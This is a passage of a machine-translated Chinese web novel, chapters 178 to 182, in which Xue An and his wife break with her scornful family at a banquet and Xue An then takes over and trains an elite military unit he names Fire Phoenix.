    "But, since I was little, I haven''t got even a smiley face with you. After my father died, who cared about me except An Qing? In your eyes, I was just a tool, a tool to marry other giants. Is that so?"


    This series of questions changed Jin Xiurong''s expression drastically.


    She never expected that An Yan would dare to confront her face to face.


    The old woman''s complexion darkened, and she stared at An Yan coldly.


    "Very good! You are good!"


    An Yan ignored Jin Xiurong''s glaring glaring, but smiled directly at Xue An, who looked at her softly and dozingly.


    "You looked down on him at the beginning, saying that he is a poor student and has no future! But I am not afraid. As long as I can be with him, I will beg for food, and I am willing!"


    "But you only want to separate us, and finally even catch me, who had just given birth! These things, what you did, is it so glorious?"


    These words caused an uproar in the audience.


    Many women looked at An Yan secretly, because An Yan told many of their hearts.


    Chi Weiyang stared blankly at the resolute An Yan, suddenly a little envious.


    Because of this woman, she found her life destination.


    "I have paid all the things that should be paid, and I don''t owe you now! From then on, I will settle down with you, and I will be absolutely gracious!" An Yan''s face was pale, but said very firmly.


    "You bitch, you betrayed your family for the sake of outsiders!" Jin Xiurong finally got angry and said grimly Xue Xiang and Xue Nian were listening below, and at this moment they said with a bit of dissatisfaction: "Old woman , Why are you bullying my mother?"


    The childish voice of the two children made Jin Xiurong even more angry.


    "None of you want to leave today! Anyan, I will give you one last chance! You..."


    An Yan smiled relieved at this moment, "No need! I don''t need it!"


    Xue An felt distressed at this time and touched An Yan''s face, and then whispered: "My wife, you actually forgot to say a word!"


    "What are you talking about?"


    "Four years later, when I returned to Zhongdu, I made everyone kneel and submit!"


    The tone is light but full of strong confidence.


    An Yan nodded happily, "I believe it, as long as you say it, I believe it!"


    Jin Xiurong was going to be hysterical, "Kill him! Kill him for me!"


    No one dared to move.


    The hands that Xue An had just exposed had already shocked everyone.


    "Kill it?" Xue An asked lightly.


    An Yan shook her head, "She has nurtured me after all, forget it!"


    At this moment, a cold female voice came from outside the door.


    "Sister, since you are leaving, there is still me!"


    With that, An Qing walked into the hall with her head up.


    Her appearance made the audience even more commotion.


    Jin Xiurong couldn''t believe her ears.


    "An Qing, what are you talking about?"


    An Qing smiled contemptuously at this time, "Old witch, I am not as good as my sister. If it weren''t for my sister, do you think I would stay in the house? My old lady wanted to leave!"


    This domineering declaration made many people''s eyes almost fall out.


    Many people are secretly grateful that today''s birthday banquet is right!


    It''s so lively! Be sure to read the latest chapter of "Invincible, Starting from Claw Bookstore" for the first time for free.

 Chapter 178： Only the true color of peony can move the capital when the flowers bloom.

    An Qing is different from An Yan. Now her status in the military is improving day by day. Even An Chang saw An Qing and didn''t dare to put on the airs of the head of the family.


    Unexpectedly, she would also break with Anjia today!


    An Yan looked at her sister, tears bursting into her eyes, "Qing''er..."


    "Sister, I admire you now, because your vision is so good!" An Qing smiled.


    "An Qing, did you dare to betray Anjia? Have you forgotten that the reason why you upgrade so quickly in the army depends on the forces in your home?" An Chang shouted at this time.


    An Qing shook her head, her face full of contempt, "I didn''t rely on anyone, okay? Who has taken care of me since I was young? That guy An Meng fools around all day, and you still use her as a treasure. And me? If I didn''t teach myself To become a talent, isn''t it the same as being given to a wealthy family as a gift by you?"


    An Chang was speechless with these words.


    Jin Xiurong was going crazy at this time.


    "Unfortunate at home, unfortunately at home, come here, kill all these people! Kill them all!" Jin Xiurong roared hysterically.


    At this moment, an old but majestic voice sounded from outside.


    "Who is so prestigious, yelling and killing?"


    Following the voice, Chen Xiuhe led the Chen family and walked in.


    His arrival surprised the audience.


    The Chen family and An family have always been at odds. This is a well-known thing.


    And now that the Chen family is becoming stronger and stronger, in comparison, the An family appears to be inferior by three points.


    Unexpectedly, today Chen Xiuhe actually visited the door in person.


    Seeing Chen Xiuhe, Jin Xiurong''s expression changed first, then calmed down, stood up, nodded and said, "It turned out to be Patriarch Chen!"


    Chen Xiuhe smiled slightly, but looked at Xue An who was standing in the court with a calm expression.


    Sure enough, it is a talent!


    And the tolerance is like Yuanzhu Yuezhi.


    unfortunately����.


    Chen Xiuhe shook his head secretly.


    Then he ignored Jin Xiurong''s gaze and said with a smile, "This... must be Mr. Xue Anxue?"


    His attitude shocked many people.


    Could it be... An Yan and Xue An are already preparing to join the Chen family?


    Xue An frowned slightly, "You are..."


    "Hehe, I''m Chen Xiuhe, Chen Rushi''s grandfather, I have to thank Mr. Xue for donating medicine that day!" Chen Xiuhe said with a smile.


    Gift of medicine?


    Many people are baffled.


    Only a few people, such as Jin Xiurong and An Chang, changed their faces.


    There were rumors that Chen Xiuhe was seriously ill, but Chen Xiuhe returned to normal.


    Unexpectedly, it was because of this gift of medicine!


    Thinking of this, Jin Xiurong''s angry heart suddenly flashed with panic.


    Xue An just remembered who Chen Rushi was from, and laughed at it.


    "What''s going on?" Chen Xiuhe asked knowingly.


    An Qing sneered: "Chen Patriarch, it''s nothing, it''s just that two children whose parents have died since childhood are preparing to leave this ruthless home!"


    Chen Xiu uttered an oh, and then smiled and said, "Okay, it just so happens that I like my granddaughter the most, or you two come over!"


    Such naked digging made Jin Xiurong''s face gloomy to drip water.


    "Old Patriarch Chen, what do you mean?"


    Chen Xiuhe sneered, "What do you mean? It''s just a pity that some short-sighted people don''t know that there are real dragons in the grass!"


    Real dragon?


    Jin Xiurong looked at Xue An, was she talking about him?


    She was about to speak.


    A group of people walked outside.


    Seeing Wei Ruyan walking in.


    Wei Ruyan is quite famous in Zhongdu.


    Because he is good at cultivating exotic flowers and weeds, and he is indifferent and has a lot of friendship, so the average rich family dare not offend at all.


    Why is she here too?


    Doesn''t Master Wei hate such occasions the most?


    Many people were surprised, Wei Ruyan walked up to Xue An and smiled slightly.


    "Mr. Xue, long time no see!"


    Xue An was so impressed by this woman who loves flowers like her life, she couldn''t help nodding.


    "It turned out to be Master Wei!"


    Wei Ruyan smiled bitterly, "In front of you, how dare I be called a master?"


    And the guard Ruyan''s eyes flowed, looking at An Yan aside.


    "This must be Mrs. Xue, it''s disrespectful to meet for the first time!"


    Talking about Wei Ruyan stretched out her hand, a tiny flower seedling appeared in the palm of her hand.


    "Thank you!" An Yan smiled and took it.


    As soon as he took over, the flower seedling shook slightly, and then began to grow rapidly.


    Soon, it grew into a slim flower.


    After shaking for a few times, the flower bones suddenly bloomed!


    The flowers are as beautiful as stunning.


    A strange fragrance hits, making the whole hall look very fragrant.


    "It''s Peony!" someone whispered softly.


    Wei Ruyan was also taken aback for a moment, and then chuckled: "Mrs. Xue really deserves to be a beautiful woman. This flower grows according to everyone''s temperament!"


    "And the peony..." Wei Ruyan paused, and whispered softly: "Only the true national color of peony can move the capital when the flowers bloom!"


    At the same time, Wei Ruyan sighed, thinking that her boudoir friend had no hope.


    Wei Ruyan studies flower arrangements, in her opinion, every woman is a unique flower.


    Chen Rushi''s flower is an orchid, symbolizing pure hope and tranquility.


    And Anyan is a peony.


    This represents the king of flowers.


    At this moment, Jin Xiurong looked at the people around Xue An and felt a little unspeakable.


    There is anger, but more still a trace of panic!


    really.


    Just when she was uncertain.


    A group of soldiers rushed in suddenly, and then separated silently.


    Then a tall general walked in slowly.


    His arrival.


    Let the whole hall be silent.


    Then almost all stood up together, "I have seen the general!"


    Without exception, these people all have a look of admiration.


    After all... this person is in China, but he exists like a myth.


    Jin Xiurong looked happy, and quickly stepped off the platform to greet the past.


    "I don''t know if General Lin is coming today, it really made me..."


    Before Jin Xiurong finished speaking, General Lin had already walked past her, without even looking at her.


    Jin Xiurong was stunned, and quickly turned to look around.


    Seeing General Lin walked straight to Xue An, he smiled slightly, "Mr. Xue!"


    See this scene.


    Jin Xiurong''s eyes went dark, and she staggered and almost fell to the ground.


    Xue An looked at the powerful general Lin and raised his eyebrows slightly, "General Lin?"


    Some people couldn''t help but change their colors. Xue An actually called his name directly?


    General Lin smiled slightly, then folded his hand, "Thank you!"


    Thank you, General Lin, many people don''t understand what it means.


    But they only knew that this man who seemed to be ordinary and ordinary, as Chen Xiuhe said, was a real dragon!


    Afterwards, many people looked at Jin Xiurong with sympathy or gloat.


    The grandson-in-law with such amazing potential does not want to be an enemy.


    No wonder the current settlement is getting worse! Be sure to read the latest chapter of "Invincible, Starting from Claw Bookstore" for the first time for free.

 Chapter 179： Sooner or later, you will kneel down and beg me

    Xue An smiled, knowing that General Lin was referring to the light sword that he gave him.


    "I''m not used to using things like swords, because I only believe that there is honor and inferiority under the fist."


    This sentence full of killing intent made many people slightly discolored.


    Especially An Chang took two steps back calmly.


    "No wonder Mr. Xue can have such a cultivation level at this age, and this state of mind is not as good as me!" General Lin sighed.


    At this time Chen Xiuhe smiled, "So what? With Mr. Xue''s achievements, there are still people who are not satisfied and have to drive him out? Are you ridiculous?"


    Chen Xiu''s conversation was directed towards Anjia.


    The old lady An had a pale face, and An Xue and the others were also embarrassed, not knowing what to say.


    Only An Ying''s eyes flickered, and then she sighed slightly.


    He had expected that today''s birthday feast would not be peaceful.


    But he still didn''t expect Xue An''s energy to be so amazing.


    One is the Chen family, the top presence among the wealthiest members of Zhongdu, and the other is the undisputed number one in the military.


    The two forces came together.


    This is almost equivalent to slap the old lady''s face directly.


    General Lin was startled slightly, "Oh? There are people who are so short-sighted? Then, Mr. Xue, how about you come to our army? The position is up to you!"


    hiss!


    This condition offered by General Lin made many people gasp.


    Pick any position?


    If you choose a colonel or something, wouldn''t it be a step up to the sky?


    Xue An smiled and did not answer Lin''s words, but walked to the An family.


    An Xue''s face became stiff, and he said in horror: "Xue An, what do you want to do? I tell you, General Lin can be here."


    Xue An said lightly: "I didn''t want to let you go. After all, you all deserve to die, but now I suddenly changed my mind."


    "Instead of killing, let you live first, as I said, one day you will kneel down and beg me!"


    After that, Xue An turned and smiled at An Yan, "My wife, let''s go!"


    General Lin followed, Xue An and others all left the hall.


    Only Chen Xiuhe walked in the back, he smiled at the pale Jin Xiurong, "Mrs. An, really, you can''t do anything to make the once top wealthy settle down like this, and I want to remind you, This is not more than a hundred years ago."


    "Don''t think that your ancestors are relatives of the emperor, you are still a pre-chatter, you are not a Lafayette!"


    After that, Chen Xiuhe left with a sneer.


    Jin Xiurong''s sarcastic face was blue and red.


    After all, Chen Xiuhe was right. Her ancestor was an offshoot of the imperial family of Qian Qing, and later changed her surname to Jin.


    She has always been proud of this, and she imitated the powerful Empress Dowager who was sitting and lying down.


    Xue An and others left.


    The hall appeared empty.


    Chi Changge looked at An Yan''s distant back in despair, and felt that somewhere in his heart was broken.


    He just wanted to rush out to question.


    But when Chen Xiuhe and General Lin appeared, he was timid.


    The Chi family is indeed good, but they can''t provoke the Chen family, nor can they provoke General Lin!


    So he can only watch from a distance.


    Looking at the man I looked down on at the beginning, he was on an equal footing with these top bosses.


    This makes Chi Changge understand.


    I lost.


    It was a complete failure.


    "Brother, let''s go!" Chi Weiyang whispered.


    Chi Changge nodded in despair.


    What can I do without leaving?


    This Anjia is now like everyone betrayed.


    It''s not the same home as before.


    The people from Chi''s family are gone.


    The rest of the people looked at each other, and they all left.


    So far.


    The birthday banquet of Anjia started with grandeur and ended with bleakness.


    And within a day, what happened at the birthday banquet spread throughout Zhongdu.


    Xue An''s name also began to appear on the desks of many high-level families.


    Huo family.


    "Hehe, it''s interesting! Chen Xiuhe actually banned the old witch in public and couldn''t get off stage." Huo Tianlu, the owner of the Huo family, sneered.


    "Patriarch, this Xue An killed Huo Heming and Shao Huo in Qingmang Mountain that day, do you want to..." the housekeeper asked in a low voice.


    Huo Tianlu waved his hand, "If this Xue An is an ordinary master with no power and no power, he will kill if he sends someone to kill, but now he has a good personal relationship with the Chen family and General Lin, so he has to hesitate! "


    "Yes!"


    "But I can''t let him be so at ease! Find a few killer organizations and spend some money to solve the problem, why should I personally come out?" Huo Tianlu sneered.


    Huo Tianlu made a phone call in person, ready to contact several killers.


    Like these aristocratic families, fighting and assassination are simply commonplace, so they all have familiar killer agents.


    "What''s the command of Family Master Huo?"


    "Hehe, what can I do if I call you? Entrust you to kill someone!"


    "Okay! Sign up first!" said the phone with a grin.


    When business comes to the door, he is naturally happy.


    "This person''s name is Xue An, it''s..." I haven''t finished the following words.


    The other side has hung up the phone.


    Huo Tianlu frowned, what''s wrong with these killer agents?


    Forget it, change one!


    Another phone was dialed.


    "Who to kill?"


    "Xue An!"


    Toot toot.


    There was another busy tone.


    I made seven or eight calls in a row. As long as the other party heard that it was Xue An, they all hung up.


    In the end, Huo Tianlu also noticed that something was wrong, and asked first when a killer agent hung up.


    "What the **** is going on? Why do you all hang up when you say Xue An?"


    The person on the other end of the phone smiled bitterly: "President Huo, we can''t afford to offend this Xue An."


    "There are people you can''t afford to kill?"


    "Haha, do you know who the killers died under Xue An? Two SS-level killers died in the hands of the world''s second-ranked interdigital killer, and ordinary killers were even wiped out. So Zi let his fingers kill his vitality, and now he can''t even get in the top ten. Xue An did it all!"


    "President Huo, I advise you, Xue An is not that easy to provoke. He still has a lot of things that can scare people to death! You can do it yourself!"


    Huo Tianlu felt cold all over when the phone hung up.


    "Patriarch, what''s the matter? Do you want me to contact a few people to clean up this Xue An?"


    "Go!" Huo Tianlu cursed with gritted teeth.


    "No more talk about Huo Heming in the future, he will die if he is dead! Anyway, he is just an illegitimate child, my son has gone too much!" Huo Tianlu comforted himself.


    Chen family.


    Chen Rushi looked at the distant Xue An who was sitting on a chair and chatting with his grandfather, with mixed feelings.


    Wei Ruyan said lightly beside her at this time: "Like a poem, give up, the relationship between Xue An and An Yan is indestructible, and no one else can shake it!"


    Chen Rushi was silent for a moment, then smiled bitterly, "Don''t you believe in love the least?"


    "I did not believe it before, but I believe it now, because today...I saw it with my own eyes!" Wei Ruyan said softly. Be sure to read the latest chapter of "Invincible, Starting from Claw Bookstore" for the first time for free.

 Chapter 180： Form Fire Phoenix

    At this moment, General Lin and Chen Xiuhe were also quite shocked.


    Although Xue An didn''t talk much, but every sentence hit the point, and his unique insights made people feel quite at ease.


    Not to mention the level of cultivation, based on this insight, it is enough to be proud.


    At this time, Xue An put down his teacup, looked at General Lin, and smiled slightly, "Borrowing elixir to suppress the injury, it seems that General Lin doesn''t want others to know your condition?"


    These words are exported.


    Chen Xiuhe''s face changed.


    General Lin smiled bitterly, "Sure enough, it is Mr. Xue. He really has eyes like a torch. That''s right. Ten years ago, when I was fighting against the ghost and **** of Country R, ??Ito Nayuki, although I killed him, I was also killed by him. The ghosts and gods were wounded by a knife."


    "This knife wound me extremely badly. The injury has continued to this day, and it has become more serious in recent years. If it weren''t for the poetic elixir given by Mr. Xue, I guess I would not be able to survive now!"


    What Lin General said was the most secret thing in the Chinese military.


    Because General Lin can be described as the number one person in the Chinese military, if the incident of his serious injury spreads out, I don''t know how many unpredictable eyes will be drawn.


    General Lin finished with a wry smile.


    But Xue An''s next sentence shocked him.


    Xue An smiled faintly, "No wonder your realm is longevity, but your momentum is only half a step longevity!"


    General Lin was full of consternation.


    "How did I know?" Xue An smiled, slowly raised his teacup, lowered his head and took a sip.


    Just as the teacup came to his lips, a mighty momentum suddenly radiated from Xue An, and then disappeared in a flash.


    Although the time is extremely short.


    However, Chen Xiu and General Lin changed their faces.


    "Sanxian?"


    "To be precise, it''s only half a step away from the immortals!" Xue An said lightly.


    "How is it possible? The momentum just now, even if it is a fairy, it is impossible to have it!" Chen Xiuhe was like seeing a ghost.


    General Lin looked solemn, and the look in Xue An''s eyes became more respectful.


    "Nothing is impossible! I am scattered with immortals, but nothing more than a chicken!" Xue An said, looking at General Lin.


    "Why are you looking for the fairy sword?"


    General Lin said in a low voice: "When he was fighting with Nayuki Ito, he knew that if he was defeated, then ten years later, the new ghost of country R would cross the sea with a sword."


    "And this year is exactly the tenth year."


    General Lin sighed, "I am no longer who I was back then. I am now diminished in strength. It is very likely that I am not the opponent of R country''s new ghosts and swords. If I lose, then China''s reputation will be humiliated!"


    "I can''t be defeated. For this reason, I want to look for the sharp edge of the magic weapon." General Lin said firmly.


    "Mr. Xue, is there a way to heal General Lin''s injuries?" Chen Xiuhe asked hopefully.


    Xue An shook his head, "It''s too late. If he retreats and recuperates immediately after his injury, there is still a chance of life, but he actually worked hard to cultivate, and it took ten years. Although he was suppressed by the elixir in the later period, it was only expedient. Of the policy."


    "His soul is almost dried out! How can I save the oil when the lamp dries out?"


    Chen Xiuhe looked disappointed.


    Xue An sighed slightly. In fact, it was not completely impossible to save, but the needed elixir could not exist in this world.


    As if he had expected it, General Lin chuckled and shook his head, "I don''t feel anything about life and death, but there is something I want to ask Mr. Xue!"


    "What''s the matter?"


    General Lin said with a solemn expression: "There is still more than a month left, which is the agreed date, but even if the country R does not send people, I will not be able to hold it for too long. If I fall, the dignified Chinese will not be Pack of wolves watching? So I thought for a long time and decided to form a new force!"


    "Oh?" Xue An raised his eyebrows.


    "This army is specially used to deal with Wu Xiu, it is a cultivator, it is to protect China from being deceived by outsiders!"


    With that, General Lin stood up and bent over at Xue An.


    "In this matter, I hope Mr. Xue will help!"


    Xue An was drinking tea and looked at General Lin, who was still stooping, with a calm expression.


    Chen Xiuhe also sighed at this time, and said, "Mr. Xue, please be considerate of General Lin''s heart for the country and the people. Let''s help!"


    Xue An suddenly asked: "Why me?"


    General Lin raised his head and said with firm eyes: "Because I have a hunch that Mr. Xue''s future achievements will be limitless! At the same time, he will be the best instructor of this new army!"


    Xue An looked at General Lin and nodded after a while, "I can promise you! But I don''t work as an instructor, nor will I serve in the army, I just help you train them!"


    "Good!" General Lin nodded.


    After being seated again, General Lin was obviously very happy, "Mr. Xue, this unit is going to re-enlist the elites of each department on the basis of the original Phoenix Special Forces, so I would like to ask you to give this unit a new name!"


    "Just call it Fire Phoenix!" Xue An said lightly.


    "Good name!" General Lin''s eyes lit up, "The phoenix is ??reborn from the ashes!"


    now.


    In a very secret barracks on the outskirts of Zhongdu.


    A group of burly soldiers are chatting together in twos and threes.


    "Hey, Cheng Tou, who do you think will be the new instructor sent to us this time?" a man with a slightly thin and withered figure asked.


    Cheng Hao is naked, holding a horizontal bar and doing pull-ups.


    Every time he did it, the muscles on his back quivered like running water.


    After hearing the question, Cheng Hao looked indifferent and said: "No matter who you are, if you want to be my instructor, you have to pass me first!"


    After that, he let go abruptly and fell heavily to the ground.


    boom.


    The ground seemed to be shaking slightly.


    "Hey, that''s natural! Cheng Tou, you were originally the instructor of the army, but you were transferred to this place by the general''s order. It is a joke that you have to re-form the special forces and strengthen the training!"


    Cheng Hao looked at the man indifferently, "Zou Sui, has your mouth been so broken all the time?"


    Zou Sui closed his mouth wisely.


    And in the corner of the barracks, a man lying on a training mat with a toothpick in his mouth, looking at Cheng Hao''s back, couldn''t help narrowing his eyes slightly.


    Cheng Hao, known as the Tiger of the Night, has been transferred. What kind of army does the general train?


    And where is this instructor sacred?


    You have to know that the ones that can be transferred here are not fuel-efficient lamps. If you have poor qualifications and skills, you can''t be convinced!


    The man was thinking about A stupefied brawny came over.


    "stand up!"


    "Why?" the man asked.


    "I also liked this cushion, why do you always lie down?"


    "Because I am better than you!" The man said with a smile, spit out the toothpick in his mouth, and swept the strong man to the ground as soon as he swept his legs.


    At the same time, the man didn''t know where he took out a small knife and pressed it against the strong man''s throat.


    "If it were on the battlefield, you would have died three times now!"


    The man finished speaking, stood up, and left!


    "Cheng Tou, this man is Sun Ling, known as the Arctic Fox!" Zou Sui said softly.


    Cheng Hao looked at Sun Ling''s back, his eyes flickering slightly.

 Chapter 181： The greedy one is Niannian

    The person who took Xue An to the barracks the next day was actually An Qing.


    When Xue An walked out the door to take a look, he couldn''t help laughing.


    Because the current An Qing, wearing a military uniform, driving a military-green Hummer, is truly majestic.


    "Not bad, got promoted?" Xue An smiled.


    "Isn''t it for your brother-in-law?" An Qing said with a grin.


    At this time Xue Xiang and Xue Nian also ran out.


    "Auntie and auntie! Guess who are we sister and sister?"


    Today the two little girls wore the same clothes, and even their heads were tied into the same shape by An Yan.


    An Qing knelt down and carefully identified it for a long time before she pointed at Xue Nian and said, "You are my sister!"


    "Why did you guess it again?" Xue Nian pouted.


    "Because you still haven''t eaten clean ice cream on the corner of your mouth! So greedy, then it must be Xiao Nian Nian!" An Qing said with a smile.


    Xue Xiang sighed pretentiously, "Sister, it''s over! Why does anyone know you are greedy?"


    Xue Nian bowed his head aggrieved.


    "It''s so good to be greedy, I also love ice cream!" An Qing took out a large pocket of snacks from behind as if she turned into magic.


    "like or not?"


    "Like! Thank you, auntie!" The two little girls were very happy.


    An Yan said helplessly: "They both make you spoiled, eat snacks all day long!"


    "I''m their sisters, I''m not used to it anymore, who is used to?" An Qingyi said righteously.


    "Dad, what are you going to do?" Xue Xiang asked at this time.


    "Your father is going to train soldiers!" An Qing smiled.


    "Then can we go?" Xue Xiang''s eyes lit up.


    "Yes! I want to go too, it''s so boring at home!" Xue Nian also said.


    Xue An felt a little guilty. Since coming to Zhongdu, he has not taken his daughter out to play!


    "That''s good! Dad will take you with you!"


    "Oh, yes!"


    "Brother-in-law, can you take the kids with you?" An Qing said with some worry.


    "Why not, just take the kids to play!"


    An Qing drove the car and quickly came to this barracks.


    When An Qing walked into the barracks, she attracted everyone''s attention.


    The frontline troops cannot see any women.


    As the saying goes, even flies are male!


    And An Qing is just a woman, still a very beautiful girl.


    This is naturally enough to attract attention.


    What''s more, two extremely cute little girls followed closely behind.


    This combination made many soldiers stare at each other.


    Waiting into the barracks.


    An Qing stood still and looked at the elites in the army who were training in the room. He raised his voice and said, "Just keep quiet! Let me introduce you. This is your new instructor!"


    All eyes were shifted to Xue An.


    His eyes were picky at first, and then gradually turned into disdain.


    After all, Xue An looks casually dressed and has an ordinary momentum, and he does not seem to be a master of military background.


    "Could you suggest that my sister be our instructor? This man is too weak, right?" Someone shouted from the bottom with a weird voice.


    "Agree!" echoed many voices laughing and laughing.


    An Qing frowned.


    She knew it would not be that simple.


    You know these people are not ordinary people! It''s all thorns!


    "You nonsense, my father is amazing!" Xue Xiang and Xue Nian said very seriously.


    "Oh, girl, why is your father so good?" someone laughed.


    "Um... my father can defeat many bad guys alone!" Xue Xiang said with a small fist.


    "Haha! It''s the bad guy in the computer game! Just that body, I can knock it down with one punch!" Someone disdainfully said below.


    Cheng Hao in the crowd had a cold face. He just glanced at Xue An and then stopped paying attention to him. Instead, he focused all his eyes on An Qing.


    This woman gave Cheng Hao a feeling of shock.


    Sun Ling looked at Xue An with a playful look.


    Bring the kids to the barracks, are the current instructors so headstrong?


    When the house was in a mess, Xue An walked up the steps slowly, staring coldly at the people below.


    The voice gradually decreased.


    Xue An stood silently, then shook his head and said, "I''m very disappointed!"


    "Yesterday, General Lin invited me to train you. He also said that you are all elites in your respective troops, but in my opinion, you can''t even compare to rubbish!"


    This sentence has made many people feel confused.


    Several groaned even more.


    Xue An continued: "I know you are dissatisfied! Well, I will stand here now. If any of you can make me move, then I will apologize for what I said just now, and turn around and leave!"


    "Okay!" someone responded suddenly and walked out of the crowd.


    It was the stunned guy who snatched the cushion with Sun Ling yesterday.


    Someone who recognized this person couldn''t help but whispered: "This guy is called Zhou Daniu, and his nickname is Xiong. Although he is a little stupid, he has the greatest strength! This instructor, I guess it will be finished!"


    This week Daniel walked up to Xue An, took a deep breath, crouched down and hugged Xue An''s legs, trying to pick him up.


    Zhou Daniu once picked up a ton of things in one fell swoop, and surprised four people.


    So in his opinion, it''s too simple to hold a living person!


    But no matter how hard he tried, he couldn''t move Xue An even a minute.


    Xue An shook his head and flicked Zhou Daniu''s shoulder. Zhou Daniu felt as if he had been hit by a train and flew out.


    This hand also caused Cheng Hao and Sun Ling''s pupils to shrink suddenly.


    Then Xue An sighed, "I still overestimate you, garbage is garbage, you..."


    Xue An stretched out his hand and pointed, "Let''s go together!"


    Hearing this to the ears of these elites in the military, it was extremely harsh.


    Cheng Hao turned his head to look at Sun Ling, only to realize that he was gone.


    At the same time, Sun Ling quietly appeared behind Xue An, and a small knife slowly protruded out of the darkness and took Xue An''s throat.


    This is the unique skill that Sun Ling is famous for, the shadow killing technique!


    The dagger was getting closer.


    A smile appeared at the corner of Sun Ling''s mouth.


    But the next second, his smile solidified.


    Because Xue An didn''t even turn his head back, he just grabbed Sun Ling by the shoulder with a casual grab.


    Sun Ling was shocked and wanted to run.


    But Xue An didn''t give him this opportunity at all, and raised it up as soon as he raised his hand.


    Cheng Hao gritted his teeth and it was now.


    Since you said to go together, don''t blame us for being rude!


    Many people also rushed up.


    Cheng Hao took the lead, then punched out.


    He practiced Taizu Changquan, the most domineering.


    But with this punch, Xue An didn''t even raise his eyelids.


    Just waved casually.


    These people were all blasted away After Cheng Hao fell on the ground, a carp stood up and looked at Xue An in horror.


    how is this possible?


    He knocked us all out without moving his hand?


    At the same time, Xue An threw Sun Ling away and walked slowly to the ergometer in the barracks.


    The dynamometer is used to measure the strength of the soldier''s arm. The base is made of cement and is extremely strong.


    Xue An slowly raised his hand and threw a fist.


    boom!


    This dynamometer was uprooted by this punch, and after breaking a wall, it flew for several hundred meters before it fell to the ground!


    Xue An closed his fists and turned to look at everyone who was dumbfounded.


    "Anyone still dissatisfied?"


    (=)

 Chapter 182： See you in the competition field after 10 days!

    No one dared to speak.


    Even Cheng Hao, who was always proud, lowered his head at this moment.


    If you can''t do it, you can''t do it.


    At this point you can''t help it if you are so angry!


    Xue An nodded, "Very well, since there is no dissatisfaction, then just **** line up for me honestly now!"


    In the beginning, these people just came together lazily, there was no formation at all.


    Now Xue An roared, these talents woke up like a dream, and quickly began to line up spontaneously!


    At any rate, they are also elites in the army, so they are quickly arranged in order of height.


    Xue An turned his head to look at Sun Ling, who was thrown off with a bruised nose and swollen face.


    Sun Ling grinned painfully but still smiled triumphantly.


    "It''s just that the technology is too bad and there are too many flaws!"


    Then Xue An looked at Cheng Hao again, "You learned Taizu Changquan?"


    "Yes!" Cheng Hao replied.


    "If Taizu Changquan is like this, then Song Taizu should find a rope to hang himself!"


    Cheng Hao''s face was a little unconvinced.


    Xue An said calmly: "Isn''t you dissatisfied? You think I''m talking big? Well, I will let you know what is the real Taizu Changquan!"


    After that, Xue An suddenly punched out.


    This punch was like a gust of wind blowing in the barracks.


    In Cheng Hao''s eyes, Xue An''s punch seemed like a majestic emperor was criticizing life and death!


    The Quan Feng stopped an inch from the tip of Cheng Hao''s nose.


    Xue Ansen said: "Now, do you admit that your Taizu Changquan is just embroidering by the old lady?"


    Cheng Hao was sweating profusely, all his pride vanished, and said with difficulty: "Yes!"


    Xue An turned and walked up the steps, "Now, let me introduce myself, my name is Xue An! I will train you in the next period of time! Rest assured, I will not be merciful, because you are all rubbish, and I can only Try to make your training a little better than garbage! Understand?"


    "Understand!" everyone shouted in unison.


    "I don''t care which unit you are from the elite, from now on, you are a small soldier of the Fire Phoenix! Did you hear it clearly?"


    "Listen clearly!"


    "Very good!" Xue An nodded.


    Xue Xiang and Xue Nian slapped their hands excitedly at this time, "Dad is amazing!"


    An Qing looked at Xue An with some admiration.


    Before coming, she was still worried that Xue An could not surrender so many soldiers.


    Unexpectedly, it took Xue An less than a quarter of an hour to subdue these people.


    Xue An''s training is different from the others. His vision is extremely clever, so you can see the shortcomings and strengths of these soldiers at a glance.


    So everyone''s training is different, and all are targeted at weaknesses.


    This time, these people can complain about it.


    When they rested at noon, these people were all limp on the ground, unable to move.


    Cheng Hao panted hard, feeling that he had never been so tired in his life.


    But this exhaustion made Cheng Hao secretly excited.


    After so many years of training, I have rarely felt tired.


    This also shows that he has reached a bottleneck.


    Only when you feel tired can you make progress.


    Not only Cheng Hao thought so, but many people felt a great fortune in their hearts.


    At this time, General Lin also rushed to the barracks.


    After getting out of the car, he looked at the soldiers panting all over the floor and couldn''t help laughing: "Mr. Xue, these people are still obedient, right?"


    Xue An smiled, "At first he was disobedient, but later he became honest!"


    General Lin laughed, "I knew that only Mr. Xue can subdue these people!"


    General Lin came here to take a look.


    After all, this is a force he has put in a lot of hard work and put infinite hope.


    After reading it, General Lin talked to Xue An again and was about to leave.


    An officer and soldier walked over quickly.


    "General, your call!"


    "Oh? Who is it?"


    "It''s from Commander Hu!"


    Hu Sling!


    Upon hearing this name, General Lin''s face became difficult to look, but he still frowned and answered the call.


    Just listen to a heroic voice on the phone.


    "Hey, Xiaolinzi, I heard that something happened to your Phoenix and almost wiped out the army?"


    General Lin sighed, "How do you know everything?"


    "More than that, I also know that this phoenix is ??dead in name, how about it, ten days later, in the military competition, did you just give in?" Hu Commander''s voice was full of gloat.


    General Lin frowned, but he still sighed helplessly, "I reorganized a new force, but time must be too late, so this year..."


    General Lin is preparing to surrender.


    Xue An listened to the side, and said lightly: "Tell him, ten days later, see you in the competition field!"


    General Lin was taken aback for a moment, then gritted his teeth and said as Xue An said: "Of course we have to participate. See you at the competition in ten days!"


    Commander Hu said in disbelief, "The troops just formed want to compare with my fangs? Hey, General Lin, General Lin, are you drinking too much?"


    "I didn''t drink much!"


    "Good! Then we''ll see you in the martial arts competition, but if you lose then, remember to give me those 30-year-old Maotai!"


    "Okay, if you lose, I want that jar of the century-old cellar!"


    As agreed with each other, General Lin hung up and looked at Xue An, "Mr. Xue...Is this ten days too tight?"


    Xue An smiled slightly, "Don''t worry, I said victory, then I will definitely win!"


    And Hu Siling on the phone also frowned suspiciously at this moment.


    How did General Lin suddenly change his tone?


    No matter what, unless he invites a god, otherwise ten days time, in any case, can not build a qualified special forces!


    That night.


    The barracks were filled with howling ghosts.


    Because many people have sore muscles and can''t sleep at all.


    Cheng Hao also felt that his training today was reaching its limit.


    But the more so, the more I have to sleep.


    Otherwise, the physical strength cannot recover, and tomorrow will be even worse.


    Strange to say, wait the next day.


    After Cheng Hao got up, he was surprised to find that his strength had increased a little.


    This discovery made him ecstatic.


    You know he hasn''t felt the feeling of becoming stronger for three years.


    Not only him ~ www.novelhall.com ~ everyone has this feeling.


    So in the second day of training, everyone went crazy and started training like crazy.


    Xue An was watching from above.


    Whenever a person is close to the limit, he will stop it.


    This also keeps everyone on the verge of collapse, and at this time, training is also the most effective.


    Wait till night again.


    Everyone slumped on the ground, losing the strength to move their fingers.


